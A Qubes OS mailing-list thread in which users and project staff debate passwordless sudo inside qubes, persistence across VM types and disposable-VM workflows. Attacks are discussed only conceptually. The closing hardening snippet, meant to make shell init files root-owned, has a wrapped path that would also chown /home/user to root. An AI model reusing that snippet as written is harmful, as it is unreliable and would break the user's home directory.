comfort of running mail, browser, etc. in a DispVM.

Thank you for the thoughtful analysis of 4/1/15; apologies for not
responding at that time.

[hib...@gmail.com]

The main purpose of this or any security system is to mitigate risk. I suspect we all agree on this?

One advantage of having sudo restricted is it reduces the attack foot print to installing a root level compromise on the system which will persist and could then be used as a launch pad for further surveillance and attacks. Root level access also means it could be extremely stealthy which a compromise as user@ would be far less capable of.

The problem is while only my user data has been compromised vs the entire system it is a persistent threat. Every boot its a threat. For all intent and purpose I will have no clue this is sitting there watching me and waiting. Waiting for what? How about another VM escape attack? They have already been exposed and frankly they will continue to be. Or how about a cross-vm row hammer attack? To think that mere isolation via virtualization is enough is, as I think someone above commented, foolhardy.

Personally at this point I would rather remove sudo from the system, grant root a password then have the user "su -". I tried this, other than removing sudo, and it worked until a reboot at which point it recreated the sudoers file and reset the password. The one thing I think would have increased security of the system, was very easy, did not seem to have a negative impact, was erased.

I only skimmed the thread so I apologize for my laziness up front if I missed something but I think a few clarifications need to be made about my experiences thus far. The following statements are with reference to the fedora-24 template which was downloaded 05/10/17.

First I read the reasons for allowing sudo but if VM isolation was enough then frankly there is no point to running SELinux or sudo restrictions on servers and I am going to wager few people would agree with this. While I realize there is a difference here in that no other real people should be on your system the fact is that is precisely what will happen if a DomU is compromised. Just like not trusting the infrastructure you should never trust the unprivileged user accounts as much as possible. This configuration, effectively, makes user@ == root. I could use the argument you might as well run single user or everything as root. The only thing you are really stopping at this point is an attempt to violate MAC as user@ within the DomU.

Second I also read about how you can re-enable a password on sudo and I think, by in large, I understand why this could be problematic to the operations of the system. I will definitely be testing this but if its going to be unsupported I see very little point in doing so. A system which is used for production that becomes unstable in the name of security is border line worse than a less secure system. That is, enabling this could render the system unusable upon updates etc.

Third, adding /usr/bin/evolution remains after a restart of the VM. I dont know if I pressed the "Create a new VM" button wrong or what but its clear the "root filesystem" does not, at least entirely, get rewritten. At least not the above mentioned template. Assuming I didnt zig when I should have zagged, a nasty could copy a file to /usr/bin and it would persist across reboots, upgrades, etc. This could then be easily enabled to start on any app start and run as root. It would also be difficult to detect.

Four, I am aware of disposable VMs but for a working desktop these are of marginal use outside experimentation, malware testing, untrusted web browsing, etc. They are not practical for a work environment where you need persistent configurations, caches, etc. Perhaps this would indicate QubeOS is just not intended or currently a good candidate for such an environment if their use is the expectation which is not how I understood its overall intent.

If I was attacking a QubeOS system I would very likely first start by compromising the DomU's, clearly the largest target to hit, and having direct access via the user with zero restrictions to root is a perfect place to start to plant my "observation rootkit". If I was attacking any system one of the first things I would try is gaining root the easiest way. sudo or su. ie: Engine wont start? Check gas.

It seems obvious to me this will increase security of the system overall. Outside of technical problems I also think the argument for ease of use for the user (ie: patching) is a very weak stance vs the security that would be gained. Perhaps at least having the supported option to "enable sudo password" or probably better "disable sudo and use su only" is of merit.

Anyhow, much appreciate the chat and thanks!

[Unman]

On Mon, Mar 13, 2017 at 08:13:31AM -0700, hib...@gmail.com wrote:
> The main purpose of this or any security system is to mitigate risk. I suspect we all agree on this?
>
> One advantage of having sudo restricted is it reduces the attack foot print to installing a root level compromise on the system which will persist and could then be used as a launch pad for further surveillance and attacks. Root level access also means it could be extremely stealthy which a compromise as user@ would be far less capable of.
>
> The problem is while only my user data has been compromised vs the entire system it is a persistent threat. Every boot its a threat. For all intent and purpose I will have no clue this is sitting there watching me and waiting. Waiting for what? How about another VM escape attack? They have already been exposed and frankly they will continue to be. Or how about a cross-vm row hammer attack? To think that mere isolation via virtualization is enough is, as I think someone above commented, foolhardy.

It *may* be a persistent threat - I think you need to read more about
how the qube file system is built up.

>
> Personally at this point I would rather remove sudo from the system, grant root a password then have the user "su -". I tried this, other than removing sudo, and it worked until a reboot at which point it recreated the sudoers file and reset the password. The one thing I think would have increased security of the system, was very easy, did not seem to have a negative impact, was erased.

If you really want to do this, then you have to make that change in the
template, not in a qube. Of course, you are free to do so. It's a matter
of some concern that you haven't realised this.

>
> I only skimmed the thread so I apologize for my laziness up front if I missed something but I think a few clarifications need to be made about my experiences thus far. The following statements are with reference to the fedora-24 template which was downloaded 05/10/17.

It's a shame you've only skimmed the thread you kicked off, because
there is a good deal of interesting information there, and many
interesting perspectives.

Over at qubes-issues, Joanna commented on the dom0 control, (NOT as
password as Chris rightly stressed, but a mechanism in dom0 for requiring
user acknowledgement before granting root rights in a qube:

"I'd worry more about sending a false-sense-of-security signal that
(presumably) Dom0 is able to strictly control user -> root escalations
within VMs (which it really cannot 100% as explained in the linked
page)."

Of course, hers is just another voice, but it's one worth listening to.

>
> First I read the reasons for allowing sudo but if VM isolation was enough then frankly there is no point to running SELinux or sudo restrictions on servers and I am going to wager few people would agree with this. While I realize there is a difference here in that no other real people should be on your system the fact is that is precisely what will happen if a DomU is compromised. Just like not trusting the infrastructure you should never trust the unprivileged user accounts as much as possible. This configuration, effectively, makes user@ == root. I could use the argument you might as well run single user or everything as root. The only thing you are really stopping at this point is an attempt to violate MAC as user@ within the DomU.

I haven't heard anyone who is concerned about the absence of a password
for root access suggesting that they should institute user passwords in
their qubes. Why is this?
Many users, as is evident from their postings, DONT trust user accounts
in their qubes, (which means in practice that they DONT trust that
qube.

>
> Second I also read about how you can re-enable a password on sudo and I think, by in large, I understand why this could be problematic to the operations of the system. I will definitely be testing this but if its going to be unsupported I see very little point in doing so. A system which is used for production that becomes unstable in the name of security is border line worse than a less secure system. That is, enabling this could render the system unusable upon updates etc.

You can re-enable a password , or follow the suggestion which will
provide a dom0 prompt. It's not unsupported, and wont make the system
unusable.

>
> Third, adding /usr/bin/evolution remains after a restart of the VM. I dont know if I pressed the "Create a new VM" button wrong or what but its clear the "root filesystem" does not, at least entirely, get rewritten. At least not the above mentioned template. Assuming I didnt zig when I should have zagged, a nasty could copy a file to /usr/bin and it would persist across reboots, upgrades, etc. This could then be easily enabled to start on any app start and run as root. It would also be difficult to detect.

This is wrong, unless you created a standaloneVM. The root filesystem
DOES get rewritten (with exception of /home and /usr/local), as you
discovered yourself when you set a root password.
I think there is too much scope for persistence, so I make changes to
the config and dont use bind-dirs, but that's my choice.
If you genuinely see this in a TemplateBasedVM then it's a major bug which
should be reported. I suspect it's not.

>
> Four, I am aware of disposable VMs but for a working desktop these are of marginal use outside experimentation, malware testing, untrusted web browsing, etc. They are not practical for a work environment where you need persistent configurations, caches, etc. Perhaps this would indicate QubeOS is just not intended or currently a good candidate for such an environment if their use is the expectation which is not how I understood its overall intent.

You should read the thread more carefully.
You are simply wrong about this. Again, more experience in working with
qubes may change your mind.
I have set up working desktops for many users where all the heavy lifting
is performed in disposableVMs, and the persistent qubes are used only
for storage.
Look at something like Bromium, which uses the equivalent of
disposableVMs in a working desktop. It's a viable model and works right
now.

>
> If I was attacking a QubeOS system I would very likely first start by compromising the DomU's, clearly the largest target to hit, and having direct access via the user with zero restrictions to root is a perfect place to start to plant my "observation rootkit". If I was attacking any system one of the first things I would try is gaining root the easiest way. sudo or su. ie: Engine wont start? Check gas.

I really think that a better understanding of how Qubes can work would
make you change your mind. (Although I know that many experienced users
(Qubers?) , like Chris, wont agree with me.)
The truth is that I dont much care if anyone outside gains root access
in most of my network connected qubes - I really dont. And one reason
for this is that I try to ensure that that "observation rootkit" wont
observe anything.
I already treat sys-net as untrusted, along with most of the
infrastructure.
Controlling root access isn't going to change that.

>
> It seems obvious to me this will increase security of the system overall. Outside of technical problems I also think the argument for ease of use for the user (ie: patching) is a very weak stance vs the security that would be gained. Perhaps at least having the supported option to "enable sudo password" or probably better "disable sudo and use su only" is of merit.
>
> Anyhow, much appreciate the chat and thanks!
>

Thank you for the initial kick!

unman

[hib...@gmail.com]

On Monday, March 13, 2017 at 1:37:04 PM UTC-4, Unman wrote:

This very well could be the root of my issues and the sudo to root concerns. In creation of the AppVMs I defaulted everything with the exception of the name and selecting the fedora-24 template as opposed to the default fedora-23. I'll verify this soon as I get back to the system. If that is it then a huge apology to the list for the noise based on a bogus observation.

> >
> > Four, I am aware of disposable VMs but for a working desktop these are of marginal use outside experimentation, malware testing, untrusted web browsing, etc. They are not practical for a work environment where you need persistent configurations, caches, etc. Perhaps this would indicate QubeOS is just not intended or currently a good candidate for such an environment if their use is the expectation which is not how I understood its overall intent.
>
> You should read the thread more carefully.
> You are simply wrong about this. Again, more experience in working with
> qubes may change your mind.
> I have set up working desktops for many users where all the heavy lifting
> is performed in disposableVMs, and the persistent qubes are used only
> for storage.
> Look at something like Bromium, which uses the equivalent of
> disposableVMs in a working desktop. It's a viable model and works right
> now.
>

I do need to look at how this would work for my scenario more deeply as its admittedly a paradigm shift but the practicality of maintenance of so many DispVMs seems overwhelming to me and the value of that overhead questionable.

[Unman]

On Mon, Mar 13, 2017 at 11:50:59AM -0700, hib...@gmail.com wrote:
> > >
> > > Four, I am aware of disposable VMs but for a working desktop these are of marginal use outside experimentation, malware testing, untrusted web browsing, etc. They are not practical for a work environment where you need persistent configurations, caches, etc. Perhaps this would indicate QubeOS is just not intended or currently a good candidate for such an environment if their use is the expectation which is not how I understood its overall intent.
> >
> > You should read the thread more carefully.
> > You are simply wrong about this. Again, more experience in working with
> > qubes may change your mind.
> > I have set up working desktops for many users where all the heavy lifting
> > is performed in disposableVMs, and the persistent qubes are used only
> > for storage.
> > Look at something like Bromium, which uses the equivalent of
> > disposableVMs in a working desktop. It's a viable model and works right
> > now.
> >
>
> I do need to look at how this would work for my scenario more deeply as its admittedly a paradigm shift but the practicality of maintenance of so many DispVMs seems overwhelming to me and the value of that overhead questionable.
>

The beauty of it is that there isn't maintenance of many dispVMs - you
can do almost everything with ONE DVMTemplate.

Let's take a concrete example:
You run a storage qube based on a minimal template - if you insist
put in a basic file manager.
Configure a DVMTemplate with pdf viewer, libreoffice, image viewers,
vlc, anything you like.
Browse the web in a disposableVM - save any files you want and qvm-copy
them to the storage qube. Now it doesn't matter if you have backdoored
files, malware, or what. It doesn't matter because it will never be RUN
in the storage qube.
(You can configure the mime and default associations to use
qvm-open-in-dvm, so you can double click on a file and it will
automatically open disposableVM and display it there.) If you ensure the
disposableVM is spawned offline there is (almost) no chance of data being
exfiltrated.
That seems like a valuable result to be gained from configuration of a
single file - mailcap, mime type - and there's almost no overhead.

Most users who have this sort of set-up don't find anything to
comment on - I think they see the "starting dispVM message" just as
another splash screen. That's just anecdotal evidence, I know,but it's my
experience. Even the start up speed doesn't seem outrageous.

Two things to get used to are NOT saving under a new name in the
DisposableVM, and having to create a new document in the qube before it
can be edited in the disposableVM. I've got round this by a simple
script associated with a Menu Item that prompts for the file name,
creates an empty file with that name, and opens THAT in a disposable VM
for editing.

[hib...@gmail.com]

When you mentioned dispvms I was thinking more along the lines of them applying to all of my "work environments". For example, I use a LOT of ssh tunneling and adding the keys and configurations back in every time would be a real pain in the rump. I might post another thread (if one does not exist) asking about managing ssh keys. One thing I played around with in SELinux was the ability for a command to gain access to the keys but nothing else could. That is, X process and Y user were the only ones with access and they would spawn the tunnels other processes and users ended up using.

Regarding my issues with /usr/bin not rewriting it was a standalone vm. (PEBCAK) No idea how but I somehow unintentionally deployed one of the AppVMs as a standalone.

[Chris Laprise]

Without a fleshed-out concept and implementation details, there is not
much to criticize or praise.

But with the focus on email and browsing thus far, I'm getting the
impression this involves restraining the user from using the system as a
normal PC and becoming cloud-centric for personal data. It can isolate
particular (but not many) user-facing processes from the risk of network
protocols (but not so much from the risks of document/data parsing...not
without degradation).

If that is the case then it sounds OK for certain audiences. But
expecting users in general to go for this may be going several bridges
too far.

[Andrew David Wong]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

> This is the first I've seen your 4/1/15 note - sorry - wish we
> could have discussed it then.

I also forwarded that message to you directly and invited you to have
an offline discussion about it (shortly after receiving no reply from
you on-list), but no worries.

> You have the basic idea except for the vital point of what happens
> at end of DispVM session (copying as few as possible user files
> back to a VM or Vault). I take your point 4 on space, and point 6
> on RAM and CPU usage.
>
> I disagree on critical point 5.
>
> For example running a browser in a VM is indeed "more secure" than
> running it in a VM because only specific updated files (bookmarks
> - places.sqlite) are retained and copied back to the vault at end
> of session; no other user-land files (and surprise relics) are
> copied back; this is contrary to what is presumed in that write up.
> If if the bookmarks weren't changed, simply flush the DispVM away.
>
> Doing mail in a DispVM is also "more secure" for the same reason -
> only specific updated files are retained at end of session - no
> other user-land files (and relics) are copied back to a VM. This is
> key, and why this is more secure.
>

I think I understand the setup now. I agree that this is technically
more secure in the sense that your inter-session persistent attack
surface is reduced (fewer persistent files; a greater number of files
are "templatized"). However, it seems like a very minor security gain
for a huge cost in initial setup and inconvenience (see below). Do you
agree that the security gain is relatively minor, or do you have some
reason to think that it is significant?

> At startup, the user configuration file (.Thunderbird) is copied
> into the DispVM, followed by the latest volatile user data files.
>
> (If there is need to permanently change something in the user
> configuration - I haven't in years - one simply starts up the
> DispVM/tbird proggy, makes the configuration change doing no mail,
> usenet, etc., and promptly copies the newly changed, whole user
> configuration back to the vault, followed by immediate shutdown.)
>
> Also disagree on your second part of 6; I've been using this and
> other DispVM scripts since Q2.0 or Q2.1; I've become lazy as they
> just work! Infrequently I'll get a "failed to start" DispVM
> message, in which case I'll start one manually and tell the script
> to use it (script pauses 'til the DispVM is up and running).
>
> And also on point 6; yes there is a startup delay, but it is a
> completely acceptable trade off to me for the reassurance and
> relaxed comfort of running mail, browser, etc. in a DispVM.
>

Some of those performance issues have been fixed since I posted that.
However, it still seems like this entails huge inconvenience on the
user's part. Maybe it's easy once you get all the scripts set up, but
getting all the scripts set up in the first place seems to require
immense effort that would yield greater security benefits if focused
elsewhere.

At a minimum, it sounds like the user would be required to figure out:

1. Which files can be saved or discarded for each program without
losing data or config settings.
2. Which files have to be copied over into each fresh DispVM for each
program without missing data or config settings.
3. How to script starting the right program (for each program).
4. How to script copying the right data for each program from each
StorageVM to each fresh DispVM.
5. How to script copying the right data for each program from each
DispVM back to each StorageVM without copying unwanted files but
without leaving behind important data or config files.

You have to figure all of these things out for every program you use,
and god help you if:

6. The program gets an update and suddenly changes where important data
or config files are stored.
7. The program ever crashes in a DispVM, and it was the first window
open in a DispVM, so the DispVM destroys itself and you lose all of
your data for that session.

I'm suspect that I would run into a list of issues at least 20x as
long if I ever tried to implement this approach, but perhaps this is a
good start for discussing it. :)

> Thank you for the thoughtful analysis of 4/1/15; apologies for not
> responding at that time.
>

- --
Andrew David Wong (Axon)

Community Manager, Qubes OS
https://www.qubes-os.org
-----BEGIN PGP SIGNATURE-----

iQIcBAEBCgAGBQJYx4jIAAoJENtN07w5UDAw6xYQAJ7106A4MqS2rW93/NCjGQ33
WSBSfEbHQyFIWUjjZFYrWYwxZdpK2eDMPYvriXpMkTumuP8bFkPaVdcAkewenql1
BB4VgxgKKytmIDS9Vy2hMvXQ8IdnFVKOOElodKP50O+JmjHh/uHcaHP1pqb30oCx
tvjvS6lY1lZQRFaMkbJDwfHZKYovcdWsrgSl/QpOJMYJDnHKROxfMVVWKWXTpCf9
nKZtO8JwPuiEttcW9EqKKuN2Vl4pZ9+FELuz8MK6Nh9Yy+VlPGwP1sxYg3Dl7Ief
IcADhrEBSnF7tQ+X8KFFijJTVwgsHdQUfXIJYKzBakZDDgC+LccN+LSGK/9KJaEU
HWb5LB+Z1RJZIEUFb0W0NNF2cZtdUPalXcEw2q5GwncYt/y7Yan7cMzBzbLXyhBr
KOloGDeti7Ux7m1fGFPi2XjqjZUTw7Qu1u/yDxH7EsVUvHQF1OF76c7hQYaEQ+hC
e3ry5Dac9ZLVNLaO0RNceDT23fC4L+CZawcxxfx6sHdV2C04dXi1AQeLJk7r1cVt
RICXEeThbBGdONGaMkIFHb/wDRMqB3Ng2pblf36XQWzM9ZHtS/lE/16ZOa6KAdMI
CmbygQiVmAqz8qKoEf9BNVb+o3W5W5kQWXKjUnFVOv+KQjWhSUtM0O9U6Z53VPk8
Ct20UQlvxJxVdlWJLm6t
=Xnxt
-----END PGP SIGNATURE-----

[Andrew David Wong]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

I agree.

> But with the focus on email and browsing thus far, I'm getting the
> impression this involves restraining the user from using the system
> as a normal PC and becoming cloud-centric for personal data.

Only if "cloud-centric" means that the "StorageVM" is functioning like
cloud storage.

> It can isolate particular (but not many) user-facing processes from
> the risk of network protocols (but not so much from the risks of
> document/data parsing...not without degradation).
>

This sounds right to me.

> If that is the case then it sounds OK for certain audiences. But
> expecting users in general to go for this may be going several
> bridges too far.
>

Largely agree (details in other reply).

- --
Andrew David Wong (Axon)

Community Manager, Qubes OS
https://www.qubes-os.org
-----BEGIN PGP SIGNATURE-----

iQIcBAEBCgAGBQJYx4lvAAoJENtN07w5UDAwHuMQAK6Ve/KGMa1/7b9t2OyuLyN/
bkE5DIa4TXE+KF3gcq3vR9M32aQzt/Ej6+g/BeYLLT3yVt4wFmwPSjAI+15u8H0x
k7sgW5Hp1h/d4bRevxM7sL7PCSOYOkcRkw5DIOMKFoD1TMjH3pj74kgz5IGCspYr
kLLNR91cW5haxH83XmQN34WwWZsPHNvhbI1XidmyeFSjccQdRKNDRgxKhl4zNEX0
HlFlPNSRuC5avlQod9f3CtYPPl1b51Q/b8H2xK5VsS+bZRG2HSyUnhuA584bGbkC
dY7KB28kYKD0EYhTJF+PMdj/T0tRdn25/C+1KrWLGmkxA37CVwPoCRu+/RTAiKBa
86aLHkLxUpBa2YKUpDGtjL4djwjZJJrOIr0ge66ozFdPNFkdX4zZ1hV2x8/7T0kM
lL8Cxx8XGs8K7lGS2NcWpMufN+hCDjBmA5QDpzYxSnLDg5uwfT4i/2E3bTh5Nub4
ZyxIRJoAtQouiJvLfPz/6a8MSGtfl6DrSLP2ZXKgVnFD9bUrLtX7U1qyGBujzw/I
wHkGPm5LYoyPiG+oW4vvrUTp4eBnSts/kkaREEK6f71JUFBDnLNizL2R1gu5EqTG
+yq9xzH3/fAK3XDf6ko7Pk/CWnFk7EN6fJPnsDI78zOhekhiblfdCxfrmJaC4IN4
Tmro62t8JdJFbMvpvag3
=PHEA
-----END PGP SIGNATURE-----

[Andrew David Wong]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

On 2017-03-13 10:37, Unman wrote:
> On Mon, Mar 13, 2017 at 08:13:31AM -0700, hib...@gmail.com wrote:
>> I only skimmed the thread so I apologize for my laziness up
>> front if I missed something but I think a few clarifications need
>> to be made about my experiences thus far. The following
>> statements are with reference to the fedora-24 template which was
>> downloaded 05/10/17.
>
> It's a shame you've only skimmed the thread you kicked off, because
> there is a good deal of interesting information there, and many
> interesting perspectives.
>

I agree. Kicking off a discussion thread, then sending very verbose
replies without really reading the thread to which you're replying sends
a certain kind of message, something like: "What I have to say is more
important than what you have say. Therefore, it makes sense for me to
spend little time reading what you have to say and instead spending more
time writing what I have to say." Sometimes, this is right. For example,
if one is a leading expert in a certain field, it might make more sense
for that person to focus on disseminating his or her knowledge. But
that's generally a position that has to be earned first.

> Over at qubes-issues, Joanna commented on the dom0 control, (NOT as
> password as Chris rightly stressed, but a mechanism in dom0 for
> requiring user acknowledgement before granting root rights in a
> qube:
>
> "I'd worry more about sending a false-sense-of-security signal that
> (presumably) Dom0 is able to strictly control user -> root
> escalations within VMs (which it really cannot 100% as explained
> in the linked page)."
>
> Of course, hers is just another voice, but it's one worth
> listening to.
>

In the sense that we should not blindly accept arguments from authority,
I agree. However, in every other sense, I disagree. Regardless of
whether one shares Joanna's opinions, one must admit the facts: Joanna
founded Qubes, she sets the road map for Qubes, and she controls the
Qubes Master Signing Key. In this sense, hers is clearly not "just
another voice," but a very special one.

> [...]

>
> Look at something like Bromium, which uses the equivalent of
> disposableVMs in a working desktop. It's a viable model and works
> right now.
>

I think we should be very careful with such comparisons to Bromium, lest
we start giving people the wrong idea. Bromium "micro VMs" are
definitely not the equivalent of Qubes DispVMs. (Perhaps the most
fundamental difference is that Bromium itself has to run on top of
Windows.)

- --
Andrew David Wong (Axon)
Community Manager, Qubes OS
https://www.qubes-os.org
-----BEGIN PGP SIGNATURE-----

iQIcBAEBCgAGBQJYx5CVAAoJENtN07w5UDAwJ6AP/2KV4FXFpAIqpEc5Z+nwKCIP
bpnfKOzktWbxmflCWvZoT2ByTDU2BAW+KXxjm1/kZAkG3q2FPIBt1+Uj2/QaZwX0
M2r0rSFuq0O+6peIbFwniPmz0dGVk4h4Z5cSj6WWAiA5RKwA84DHDaNRvikmK8kU
9T85r2LgV9zUJDK3s4NLJP5SXqxnt72KHBe9waArmGLi1SPL5ishYIlBGyKQ0tJ9
IqWdweVJJ07lqCC6hG0fEpGOrYs3wx2rj2w7ygBYPNd23xB65u0vTfbi6Rj9Tztm
CbXDFuUOu68HgLoFVYXcZ3eYybVLsaNWtjO3VytMZniIG5pXN3V0XxCA9KsoziTv
EflwAoBo0joqjXCd/lQwgMnbIzHcFb2cRCqS+Gcyon0p/a3cScI/z/x0yHC3OkC5
/llNxKgMW/MFGdvxVQYWneDjIltOKuNbw4a6ypCDcHZhj0fuRi/gr4eOcnJ8A/p4
cJKwYlW6mIvyIKzXapYYY/tTxvbYKzq/PVtjdmClIDGIJAyD+izp5lhhoShAE0W1
cO5t+FiuXwpw3YWsSnzPlwgO9mRKSMy7D1AOlCygfyypUXj4Ze6iZ/lJzBnNqB/c
wgF5izlgdIdwpNPOmn4Ch7NceeA9f+n64EWl5EkHhsQFGyxgIEuUOl8+Mexmo1Sl
gwopXtu5fPRHwnhEMhE6
=y1uh
-----END PGP SIGNATURE-----

[Andrew David Wong]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

I'm still struggling to see significant security value in this setup
that can't instead be gained through careful compartmentalization in
normal AppVMs without the significant effort, expertise, and costs
required to script and use the DispVM setup. (See my reply to
7v5w7go9ub0o for details.)

Would you mind explaining what the specific benefits of this setup are
(over and above careful compartmentalization in normal AppVMs) and why
they outweigh all the costs?

> Most users who have this sort of set-up don't find anything to
> comment on - I think they see the "starting dispVM message" just
> as another splash screen. That's just anecdotal evidence, I
> know,but it's my experience. Even the start up speed doesn't seem
> outrageous.
>
> Two things to get used to are NOT saving under a new name in the
> DisposableVM, and having to create a new document in the qube
> before it can be edited in the disposableVM. I've got round this by
> a simple script associated with a Menu Item that prompts for the
> file name, creates an empty file with that name, and opens THAT in
> a disposable VM for editing.
>

- --
Andrew David Wong (Axon)
Community Manager, Qubes OS
https://www.qubes-os.org
-----BEGIN PGP SIGNATURE-----

iQIcBAEBCgAGBQJYx5H4AAoJENtN07w5UDAwCbYP/jl+njqDMSRsfIW2PKY2LfWw
b/tZ+mrMV/C5QMK/rGp8xOFrufXptgD3r0qVUISKPbDy4GV1FQa+kekmsdrL/k3b
Gqi4epjC0WHpAfwnIygQ6SSeN6NGzb2Js31Hha589QC14XPst9/DW7Qr8YFK3/tK
UFZQjIfZrwVTqFkh3zkNg7RhvlkNLZkIcrCwNGk4dC17rvtmNrMIJa56yR0qw8h8
R6u4VcgDjMNX6GYdtzhFUvUCjB7AulYjnNVilPYUbpG7Qkt1qSwywH/r/WicyY96
xk6vhLU4hwOSuZpC7piRO931/sBndfCqFb3zYfFgwfRe5zch9o/5x2K03dvuPYRH
LwSFybikZ3d2to+NKuzVm5lXww9f4uhurqZxx3+WwJyWPdblrOGK4kmz6HQUolKQ
NzrPtiVxBN+a36gd+6xIvwrLZnVXYfAdNqJC90FbReW1swK37CXgiqllUla3S5Km
844r1v9/gNaE4f0fvQ2wcOhqFO90G2P4fbK8Eej/3ahmgZiUZ3idAoNp/RKHle/H
ZTzrmJT2Jl3Q5clIpXDFrQ87RKOhpjzP/qp9wZuHdt2g6UueTMaHLytpWwBwjKGb
r2LpM8Vpc0UhtoGfHmOL8ZaEO2FEKexb3lTwj8/Gn6v+oP3/yU9jNwpsjWh2fEYZ
LRDXdBzUa6+BhmVMzp9Y
=p4u0
-----END PGP SIGNATURE-----

[haaber]

Unman wrote:
> (You can configure the mime and default associations to use
> qvm-open-in-dvm, so you can double click on a file and it will
> automatically open disposableVM and display it there.) If you ensure the
> disposableVM is spawned offline there is (almost) no chance of data being
> exfiltrated.

Very nice & seducing construction.
Is that easy to set up mime-types in a graphic mail client like icedove
or do you use mutt/pine for this? I would be interested to know how to
do ensure a link sent by mail be opened in a disp-vm ...

Cheers, Bernhard

[sm8ax1]

Andrew David Wong:

This is basically what I meant when I said

> By the way, I'll call it "trivial" when there's an easy to use script,
> complete with .desktop, readily available that does it. Writing said
> script is more like "medium difficulty" for the average user.

Qubes could probably be made more secure if users take the time to write
their own FLASK policies too, but I really hope you don't expect
end-users to do that.

Even so, a script only handles one specific use case, like email in this
example. We might as well ship Qubes with a set of VMs, one for
retrieving email, and a DispVM for reading it (with automatic copying),
that handles all this transparently as was described. This way the user
wouldn't have to install a script, and we wouldn't lose anything because
the script would have to be tailored to specific guest software for a
specific use case anyway.

But that's back to being regardless of the sudo configuration, and thus
I think a topic for another thread.

In other words, the DispVM debate still doesn't address the sudo debate.
You can have one with or without the other. There are 2^2 possibilities
here: persistent/disposable VMs with/without sudo. This thread was
supposed to be about the latter.

I still haven't heard any rebuttals against how sudo can help mitigate
attacks against the virtualization (persistence aside). Without sudo,
unprivileged processes can access /proc/xen/privcmd, raw sockets, memory
mappings, etc., and load kernel modules that have even greater
capabilities. We can be naïve and just assume that Xen and the kernel
are completely secure, or we can be realistic and do a cost-benefit
analysis of enabling Dom0 approval of sudo access.

How often does the average user really have to elevate privileges
anyway? Considering most directories not writable by user:user (with the
notable exception of /usr/local and /rw) are non-persistent anyway, I'm
not sure there's very much legitimate use for sudo. I can't figure out
what use cases would require it so often that clicking "yes" in Dom0
would be especially inconvenient. And I'm speaking in the general case
here; there's nothing to prevent someone from installing a specific VM,
elevating via Dom0 once, and overriding /etc/sudoers via bind-dirs in
that VM (or template) if they have a need for it.

And I'll say it again: all this is in the absence of MACs like SELinux,
AppArmor, or Grsec, or internal firewalls e.g. to restrict access to
localhost. Obviously, if anything like that were enabled, it would be
useless without requiring sudo approval. Since AFAIK there are no plans
to enable anything like this in any of the stock templates, one could
argue that /etc/sudoers should be overridden by specific templates that
need it (have MAC or internal firewalls), but I don't know enough about
the template building process to say.

[sm8ax1]

sm8ax1:

Oh, would you look at that. Xen Security Advisory 211 (CVE-2017-9603)
came out just hours ago.

> IMPACT
> ======
>
> A privileged user within the guest VM can cause a heap overflow in the
> device model process, potentially escalating their privileges to that
> of the device model process.

Emphasis on "privileged user". Even if Qubes is not vulnerable, this
demonstrates how some fraction of all exploits are only available to
privileged users.

[cooloutac]

yes I agree having to click yes in a dom0 popup will not be cumbersome for most. But is it that easy for the devs to implement? Even so, I'd rather they work on more important things.

Because I feel that someone attacking a Qubes system is probably personally targeting someone or very sophisticated, and in that case then I don't really think it matters. Sudo will not help you. The sophisticated attacker probably has plenty ways to privilege escalate. And a personal attacker almost as sophisticated will be too persistent to fend off eventually. We already know an attacker doesn't need root for a persistent compromise.

Isn't privilege escalation the main reason not to trust the linux kernel in the first place? Isn't there more 0 days exposed for this every year?

For my nooby use,, and For most things I too also use dispvm. probably 85-90%% of my activity. I don't need scripts I just make shortcuts for programs or to inherit specific vm firewall rules. Mostly its using the browser, Using a separate dispvm for each task. For things I need persistent storage with I use a separate appvm. I have about two dozen seperate static appvms for specific tasks that only connect to one site or server. Half don't have internet access. Rarely am I ever doing something untrusted or random in a persistent appvm. I trained my family the same way. If I need to bookmark some shady site I'll do it in untrusted vm, and if some script kiddy wants to spy on it I don;t really care. In fact I enjoy wiping my vms and recreating them at the slightest anomaly because it is so easy in qubes. I just wiped and recreated the untrusted vm yesterday lol.

I guess the Qubes devs feel, and me as well nowadays, that privilege escalation is so trivial they can't be bothered with it, or would feel guilty even implementing it. Sort of how most average users know that mac address filtering on routers is worthless. (even though I always use it)

Threat model is again ok to use here, regarding myself, even if not regarding usability, but regarding time of the devs I will have to depend on cause I wouldn't be able to implement it myself. Maybe Chris and Unman can develop the feature?

apt28 is probably laughing at us thinking sudo is going to help anyone...

[Chris Laprise]

On 03/14/2017 09:13 AM, sm8ax1 wrote:


> I still haven't heard any rebuttals against how sudo can help mitigate
> attacks against the virtualization (persistence aside). Without sudo,
> unprivileged processes can access /proc/xen/privcmd, raw sockets, memory
> mappings, etc., and load kernel modules that have even greater
> capabilities. We can be naïve and just assume that Xen and the kernel
> are completely secure, or we can be realistic and do a cost-benefit
> analysis of enabling Dom0 approval of sudo access.
>
> How often does the average user really have to elevate privileges
> anyway? Considering most directories not writable by user:user (with the
> notable exception of /usr/local and /rw) are non-persistent anyway, I'm
> not sure there's very much legitimate use for sudo. I can't figure out
> what use cases would require it so often that clicking "yes" in Dom0
> would be especially inconvenient. And I'm speaking in the general case
> here; there's nothing to prevent someone from installing a specific VM,
> elevating via Dom0 once, and overriding /etc/sudoers via bind-dirs in
> that VM (or template) if they have a need for it.

I think if you leave out use of the 'mount' and 'umount' commands, root
access tends to be pretty rare. Even so, this is not something that
regular users of Linux or Mac desktops complain about often (and they
have to type the passwords).

>
> And I'll say it again: all this is in the absence of MACs like SELinux,
> AppArmor, or Grsec, or internal firewalls e.g. to restrict access to
> localhost. Obviously, if anything like that were enabled, it would be
> useless without requiring sudo approval. Since AFAIK there are no plans
> to enable anything like this in any of the stock templates, one could
> argue that /etc/sudoers should be overridden by specific templates that
> need it (have MAC or internal firewalls), but I don't know enough about
> the template building process to say.

Well stated.

But I'll add a small caveat: That dash and bash are naive toward their
init files (like ~/.profile) which are writable by user. This means an
attacker's /home/user/.bin/sudo (or su) script can be substituted for
the real sudo (or su or other auth tools) or some other script via
'alias'. Obviously, this is bad (I have a theory about the Unix
psychology behind this well-known issue) but its easily remedied by
making the init files immutable:

# Protect sh and bash init files
chfiles="/home/user/.bashrc /home/user/.bash_profile /home/user \
/.bash_login /home/user/.bash_logout /home/user/.profile"
touch $chfiles
chown -f root:root $chfiles
